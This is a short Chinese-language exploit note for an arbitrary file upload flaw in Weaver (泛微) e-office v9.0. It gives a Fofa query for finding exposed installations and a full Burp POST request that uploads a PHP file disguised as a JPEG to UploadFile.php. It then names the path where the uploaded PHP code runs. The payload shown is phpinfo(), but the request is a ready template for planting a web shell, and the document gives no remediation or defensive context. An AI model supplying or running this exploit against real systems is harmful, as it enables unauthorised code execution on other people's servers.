一、影响版本：

泛微 e-office v9.0 

二、Fofa语法

app="泛微-EOffice"

三、burp 构造POST请求包：

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 127.0.0.1:7899
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348
Content-Length: 193
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4

--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg

<?php phpinfo();?>

--e64bdf16c554bbc109cecef6451c26a4--

上传成功后访问 /images/logo/logo-eoffice.php 即是你写入的内容。